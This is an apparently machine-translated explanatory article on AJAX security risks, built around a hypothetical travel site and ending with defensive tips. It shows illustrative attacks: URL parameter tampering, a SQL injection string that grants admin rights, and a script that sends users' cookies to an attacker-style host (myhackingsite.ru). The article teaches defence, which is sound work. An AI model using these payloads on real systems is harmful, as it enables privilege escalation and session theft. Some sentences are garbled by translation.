AJAX also has security risks. Let's talk about AJAX security.

Web developers will not notice the passion brought by "AJAX (Asynchronous JavaScript And XML. This technology is largely attributed to the ability to create smart websites like Google Suggest or Web-based applications like Gmail. However, along with the development of AJAX applications, we have discovered some of its shortcomings, and we have found that its security vulnerabilities are gradually becoming larger, it is like slowly placing AJAX-based sites into a time bomb.

Benefits of AJAX

In the era of Web applications, things were very simple. You fill out a form, click the "Submit" button, and the current screen disappears. After a while, you will be transferred to the next page. Today's situation is no longer the case. What users need is a Web experience that is as smooth, fast, and user-friendly as any desktop application.

AJAX is often used in collaboration with DHTML (Dynamic HTML). The smooth execution of AJAX requires that JavaScript code on the webpage be allowed to communicate seamlessly with the web server in the background. For example, when you start to input something in the search box of Google Suggest, the web page will start to exchange data with the server in the background, and then give some entries that you may need. All of this requires no page refresh or any button. That's why applications like Gmail can perform real-time spelling checks.

How AJAX works

The complex principles of AJAX are beyond the scope of today's explanation. Here is a brief description. The JavaScript code on your page can contact your Web server without relying on users. The core role here is the JavaScript XMLHttpRequest object, which can be triggered either in the background or asynchronously by a user tapping the keyboard or clock event (that is, the term Asynchronous JavaScript and XML ).

If you enter "ajax" in Google Suggest, you will get the same server request as the one I entered:

The XML part in this term may cause misunderstandings. In fact, this Part has no meaning. It is the name obtained from a JavaScript Object, and many AJAX-style applications use XML, which can send a request to the server for any transaction. Even JavaScript code itself can be retrieved and evaluated. After entering "ajax example", the following response will be generated from the Google Server:

SendRPCDone (frameElement, "ajax example", new Array ("ajax example", "ajax examples"), new Array ("153,000 results", "177,000 results "), new Array (""));

This will give you some hints about powerful AJAX. It has the ability to add new JavaScript code to the browser at runtime (on the fly. However, the optimal method seems to have bound the XML protocol. For example, Google generates the following:

Ajax example

153,000

Ajax examples

177,000

Obviously, you can interpret the XML data in a suitable form, but thanks to JavaScript, it can handle XML objects very well under some very typical restrictions and a lot of annoying IE bug environments.

To help you understand some Ajax problems, I am here to introduce you to a hypothetical travel company, "cutting-edge travel companies of the Times ". Driven by AJAX bugs, Max Uptime, the main web developer, decided to use AJAX in combination to create such an application. In this way, he is at the forefront of the times.
AJAX Problems

More than half of AJAX security risks come from vulnerabilities hidden on the server. Obviously, the good design using secure coding technology is helpful for more secure AJAX. We need to thank Max for being familiar with the Open Web Application Security Project-OWASP) the top 10 most serious web Application Security Vulnerabilities (www.owasp.org ). Unfortunately, when Max implements AJAX, he still needs to face many additional factors:

1. New technology: if Max wants to connect his site to a SQL database, he can find millions of examples on Google. AJAX technology, no matter how young it is, is still relatively early in the procurement cycle, although it only has a few good examples on the network. To solve some difficult and unnecessary complex problems, developers like Max need to develop independently. Max has to write the code of the server and client, and create an uncertain protocol (especially for server response ). No matter how good these protocols are, they will be displayed on the page in a timely manner.

2. Non-traditional design: AJAX is a little different from the traditional design method, because such applications are semi-client and semi-server. In the Max example, he is the only developer, so he can encode both the server and client. Using two different languages at the same time (especially in the early stages) for Development will produce some preliminary encoding errors, because it will jump back and forth at both ends, which is very good for one end, but it may not be competent at the other end. Even if Max has a large development team, the security coding responsibility may also occur when the code is handed over between the server and the client development team.

3. Too many scripting languages: Max decided to build the world's best travel registration tool with his own ingenuity. When you enter your current location (via zip code, phone area code, or GPS) to register, an AJAX request will be sent immediately to determine your exact location. From that time on, the screen will fill in all the travel methods you can use, this is even done before you decide where you want to go and when you want to leave and who you want to go.

The cells and controls on the screen are full of AJAX drivers. The scripts on the server and client may need to be called by more than 20 different servers. You can imagine a very small individual server program, such as findairportsbylocation. aspx or determinemaxbaggageallowancebyairline. php.

Obviously, without Max's careful planning (such as creating a functional "overload" JavaScript function and server script), he needs to create more than 40 independent parts for each design. More programming means that more errors and bugs are generated, which means more time is required to write, manage, test, and update code. Not only that, because a large number of such scripts are applied to the client's JavaScript code, they are easy to become forgetful in formal program tests.

4. identifying a small portion of AJAX will not cause harm: This site is a planned travel site, but Max considers that it will immediately provide you with a satellite view that shows the exact location, and provide you with the weather conditions you want to reach your destination. One of the biggest temptations of AJAX seems to be that it is still performing other operations until the last moment, just like a commentator commenting there, using AJAX for AJAX. when Max starts to try his new ideas, he will gradually try to add more new features, completely ignoring the needs of testing.

5. Insecure communication: Each AJAX call may return only a small amount of data to the client, but the data is private and confidential. Max can write a convenient tool to verify the number of your credit card number, but what if you use plain text instead of overSSL to send data? This is an obvious problem, but when there are many routines to consider, especially when the other 99% of the data on the screen is not really confidential data, it is easy to ignore SSL.

6. server-side access control: Using JavaScript programs to trigger AJAX often hides some obvious encoding errors. server-side access control is an example. Suppose Max wants to provide your favorite hotel with a detailed destination you visited last time, he may be like the following:

Showpreviushotels. aspx? Userid = 12345 & destination = UK

This is of course very good, but what if a malicious user changes the URL to the following:

Showpreviushotels. aspx? Userid = 12346 & destination = %

Will they get other people's favorite hotels? (Note: % is a wildcard in SQL statements ). Undoubtedly, this is an example with no harm, but Max should use session, cookie or other symbolic forms to ensure that data can only be sent to the correct user. They may be only a small part of the data, but they may be the most important part.

7. Server verification: in fact, there are two problems. First, AJAX control is often used for input verification before the user finally submits data to the server. This paralyzes Max and gives Max a false sense of security because he has built a function called alloweddestinations. php to determine the correct destination they can reach based on the user ID.

This is a server-side check. When this page is finally submitted, it does not have to worry about checking it on the server again. Here we assume that no malicious users will secretly destroy requests from alloweddestinations. php response or destroy the final request to the server.

AJAX control can verify user input more carefully than the user himself, but they often perform the last verification on the server.

The second problem with AJAX verification is that the control itself is affected by the Verification Vulnerability. Once again, the URL is usually hidden, so it is often forgotten. For example, I may use SQL Injection to attack the script just now, as shown below:

Showpreviushostels. aspx? Userid = '; update users set type = 'admin' where userid = 12345 ;--

The system administrator privilege will be granted to me after I log on. Of course, how to obtain the table names and field names is beyond the scope of this article, but you already know this situation, isn't it?

8. Client verification: we know that in the Google Suggest example just now, it is feasible to dynamically create and execute JavaScript Functions after the server response is evaluated. Without any form of verification (it is difficult to ensure reliability and smoothness on the client), the client simply executes what the server needs to do.

In this case, the real code execution will never be visible to a common user (that is, you cannot "view the source file "), as a result, it is potentially a completely attack-oriented target for malicious hackers. If the server's response is constantly disrupted (this behavior may be caused by the Web server itself or during data transmission), this attack will be hard to detect.

Max uses the following response to update the weather icon on the destination webpage. The function is eval (); function:

UpdateWeatherIcon('cloudy.gif ');

However, malicious cracker can turn this function into the following form, making it even more difficult to find this attack:

UpdateWeatherIcon ('www .myhackingsite.ru/grab.aspx? C = '+ document. cookies); updateWeatherIcon('cloudy.gif ');

We are now able to track the session ID/cookie of every user on our own server.

Summary

There is no doubt that AJAX and AJAX-style technologies are the bright path to web design. Developers can create an existing "application" on the web. They must be cautious when using AJAX to ensure the security of web sites.

However, one of the greatest threats comes from the increasingly complex use of AJAX client scripts and server-side scripts. These scripts are hidden out of sight by technical means, making the test unintuitive. At the same time, this new technology seems to make web developers forget the basic good coding method. Problems like access control and input validation will not disappear, and they become more complex.

Five Most Important AJAX security tips:

To succeed, you must start with a good plan. You must focus on your talents to reduce and simplify AJAX calls, create a standard response format, and follow this Agreement (ideal XML) anywhere ).

Follow the optimal approach from sites like the Open World Wide Web Application Security Plan. This includes access control and input validation vulnerability checks, and ensures that over SSL is better than plain text.

Never assume that the access control or user input validation check on the server end AJAX can replace the final check on the server. Increasing AJAX control will never reduce your verification workload. They can only increase your workload.

Never assume that the client's obfuscation Technology (obfuscation, where JavaScript is difficult to read and decode) can protect your very important trade secrets. Using JavaScript is the most useless way to hide program design, and can also provide benefits for your opponent.

Finally, you must lead your development team very well. It sounds very eye-catching to use AJAX, but you should realize that you should keep your development team to develop version 2. Of course, you should develop a very stable version now.